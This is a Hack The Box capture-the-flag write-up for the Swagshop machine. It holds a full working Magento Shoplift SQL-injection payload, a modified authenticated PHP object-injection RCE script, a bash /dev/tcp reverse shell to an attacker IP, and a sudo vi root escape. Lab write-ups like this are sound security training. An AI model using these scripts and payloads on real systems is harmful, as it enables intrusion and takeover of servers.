Swagshop - Hack The Box

Synopsis

Swagshop is a easy difficulty linux machine which running old version on Magento. It is vulnerable to SQLi and RCE which leads to shell as www-data. Privilege escalation invovles the www-data can use vim in the context of root which is abused to execute commands as root.

Skills Required

  • Enumeration

Skills Learned

  • Exploit Modificaion
  • GTFOBins

Enumeration

Nmap

# Nmap 7.60 scan initiated Tue Apr  7 22:21:49 2020 as: nmap -Pn -sC -sV -v -p22,80 -oN full.nmap swagshop.htb
Nmap scan report for swagshop.htb (10.10.10.140)
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://10.10.10.140/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at the nmap we’ve SSH and Apache running on their default ports.

Apache

Browsing to the HTTP page we see that the server running Magento CMS.

Like all other CMS we have tool called Magescan to scan Magento. we can download its latest release and scan using it.

php magescan.phar scan:all 10.10.10.140

Scan reveals the Magento version that being used on the server.

+-----------+------------------+                                                                                                
| Parameter | Value            |                                                            
+-----------+------------------+                                       
| Edition   | Community        |                                        
| Version   | 1.9.0.0, 1.9.0.1 |                                 
+-----------+------------------+

It also found local.xml file in /app/etc/ folder . Let’s have a look at that file.

| app/etc/local.xml                            | 200           | Fail   |

we find the information in it which seems to be sensitive like database credentials and installation key. we’ll keep a note of this.

After googling about the Magento 1.9.0.0. I came across the list of CVEs from it we found a arbitary SQL command execution vulnerability i.e CVE-2015-1397. The vulnerability named Magento Shoplift which we can find at exploit-db.

SQL Injection

Looking at the script we see it uses prepared statements to insert values in the admin table.

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""

It then injects it into the popularity parameter.

query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

We need to modifiy the script a bit to make it work for us. we’ve to add our target.

target = "http://10.10.10.140/index.php"

Running the script it creates us credential forme:forme which we can use on admin page to login.

python shoplift.py 

WORKED
Check http://10.10.10.140/index.php/admin with creds forme:forme

It created the credentials for us forme:forme we can try them at http://10.10.10.140/index.php/admin.

We’re able to successfully login to Magento admin panel with those creds.

Foothold

Previously searchsploit also reavealed us Authenticated RCE during searching for the Magento exploits. LNow, as w already have the credentials we can try using it. But, the exploit doesn’t work out of the box and it needs some changes.

First we need to change the installation date mentioned by the author and provide it with our credentials.

# Config.
username = ''
password = ''
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml

This can be found in the local.xml which we found earlier.

Now, Let’s look at what the script does. It first creates a mechanize(Stateful programmatic web browsing in Python. Browse pages programmatically with easy HTML form filling and clicking of links) browser object and then logs the user in

#Setup the mechanize browser and options
br = mechanize.Browser()
br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

we can set the proxy inside script and intercept the request made by script.

python rce.py http://10.10.10.140/index.php/admin "whoami"

It then finds the ajaxBlockUrl and FORM_KEY values.

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

Searching at the source of the dashboard page we see those variables.

After finding them it creates a URL by concatenating them.

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

In this case the URL looks like this :

http://10.10.10.140/index.php/admin/dashboard/ajaxBlock/key/961d2a1f2c0dd3c21cc5be05d5e2a994/block/tab_orders/period/7d/?isAjax=true

And the post data:

isAjax=false&form_key=sBSfte9VQAfTxWvm

Requesting the page and looking at its response we don’t see any data.

Let’s change the time period to say 2years in the URL, we’ll substitute 7d with 2y.

http://10.10.10.140/index.php/admin/dashboard/ajaxBlock/key/961d2a1f2c0dd3c21cc5be05d5e2a994/block/tab_orders/period/2y/?isAjax=true

Requesting the page again we see that the response contains the tunnel link which the exploit is searching for.

tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

Now for the next step the exploit creates the payload using serialized objects. Copy the payload generation part from the script

import base64 
from hashlib import md5
php_function = 'system'

install_date = 'Wed, 08 May 2019 07:23:09 +0000'

arg = 'whoami'

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

print "payload: " + payload
print "gh: " + gh

Running it will generate the payload to execute whoami.

python payload.py 

payload:Tzo4OiJaZW5kX0xvZyI6MTp7czoxMToiACoAX3dyaXRlcnMiO2E6Mjp7aTowO086MjA6IlplbmRfTG9nX1dyaXRlcl9NYWlsIjo0OntzOjE2OiIAKgBfZXZlbnRzVG9NYWlsIjthOjM6e2k6MDtzOjExOiJFWFRFUk1JTkFURSI7aToxO3M6MTI6IkVYVEVSTUlOQVRFISI7aToyO3M6MTU6IkVYVEVSTUlOQVRFISEhISI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047czoxMDoiACoAX2xheW91dCI7TzoyMzoiWmVuZF9Db25maWdfV3JpdGVyX1lhbWwiOjM6e3M6MTU6IgAqAF95YW1sRW5jb2RlciI7czo2OiJzeXN0ZW0iO3M6MTc6IgAqAF9sb2FkZWRTZWN0aW9uIjtOO3M6MTA6IgAqAF9jb25maWciO086MTM6IlZhcmllbl9PYmplY3QiOjE6e3M6ODoiACoAX2RhdGEiO3M6Njoid2hvYW1pIjt9fXM6ODoiACoAX21haWwiO086OToiWmVuZF9NYWlsIjowOnt9fWk6MTtpOjI7fX0=
gh: ac45fbaa8e4537ac82f346ea37f7ce86

Now copy the payload and the gh value to request the tunnel URL, and sending a request results in code execution.

The modified original python script looks like this.

#!/usr/bin/python
from hashlib import md5
import sys
import re
import base64
import mechanize

def usage():
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
    sys.exit()


if len(sys.argv) != 3:
    usage()

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = 'forme'
password = 'forme'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
    print e.read()

Running the script:

python rce.py http://10.10.10.140/index.php/admin whoami

www-data

Now, we can execute a reverse shell using bash bash -i >& /dev/tcp/10.10.14.24/9001 0>&1'.

python rce.py http://10.10.10.140/index.php/admin "bash -c 'bash -i >& /dev/tcp/10.10.14.24/9001 0>&1'"

And we get back a reverse shell as www-data.

ncat -lvnp 9001

Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.140.
Ncat: Connection from 10.10.10.140:51254.

www-data@swagshop:/var/www/html$ whoami && id

www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Doing little enumeration and looking at the sudo permission of www-data. we can see that www-data can run vim as root without password.

www-data@swagshop:/var/www/html$ sudo -l

Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

GTFOBins is the good source for exploiting this kinda system binaries. looking at vi we can use the following to get as root shell

sudo /usr/bin/vi /var/www/html/index.php -c ':!/bin/sh' /dev/null

Executing it we get we’re presented with root shell.

root@swagshop:~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@swagshop:~# cat root.txt
c2b087d66e14a652a3b86a130ac56721

   ___ ___
 /| |/|\| |\
/_| ´ |.` |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                   PS: Use root flag as password!
root@swagshop:~# 

Thank you for taking your time for reading this blog!.